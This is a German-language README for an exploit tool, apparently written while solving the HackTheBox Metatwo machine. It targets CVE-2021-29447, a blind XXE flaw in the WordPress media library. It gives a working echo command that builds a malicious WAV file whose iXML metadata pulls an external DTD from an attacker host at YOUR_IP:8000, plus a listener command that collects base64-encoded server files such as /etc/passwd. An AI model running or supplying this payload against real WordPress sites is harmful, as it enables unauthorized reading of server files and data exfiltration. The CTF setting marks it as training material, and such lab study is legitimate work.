
Controller für beliebiges Dateilesen basierend auf CVE-2021-29447
Ich habe diesen Controller erstellt, während ich die Metatwo-Maschine auf HackTheBox gelöst habe, um CVE-2021-29447 auszunutzen. Diese Schwachstelle ist eine WordPress-XXE-Sicherheitslücke in der Medienbibliothek, die die Versionen 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11 betrifft. Dabei kann ein authentifizierter Benutzer mit der Berechtigung, Medien hochzuladen, eine bösartige WAV-Datei hochladen, die zu einem entfernten, beliebigen Dateizugriff und Server-Side Request Forgery (SSRF) führen kann.
Um diese Schwachstelle auszunutzen, sind mehrere Schritte erforderlich, um einen erfolgreichen Angriff durchzuführen. Das liegt daran, dass die verarbeiteten iXML-Metadaten nicht an den Benutzer zurückgesendet werden. Um sie auszunutzen, benötigen wir daher ein Blind-XXE-Payload. Dies ist möglich, indem eine externe Document Type Definition (DTD) eingebunden wird, die vom Angreifer kontrolliert wird. Außerdem müssen wir die bösartige WAV-Datei erstellen, um die Verbindung auf dem Lauschserver des Angreifers zurückzuerhalten. Nachdem wir diese Schritte durchgeführt haben, laden wir die WAV-Datei auf den Server hoch und warten auf eine eingehende HTTP-Anfrage, die den base64-kodierten Inhalt unserer Payload-Datei (z. B. /etc/passwd) enthält, und dekodieren das Base64. Dieser Controller bietet alle Lösungen für diese mehreren Schritte. Sie müssen nur den Dateinamen im Controller eingeben: $console >
Ausführlicher Blogbeitrag: https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
Hinweis: Dieser Controller ist vollständig für die HTB-Metatwo-Maschine konfiguriert. Bei Verwendung außerhalb müssen Sie einige Änderungen an den Skripten vornehmen.
Erstellen Sie eine WAV-Datei mit dem Namen payload.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:8000/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
führen Sie main.py aus
python3 main.py listen_ip
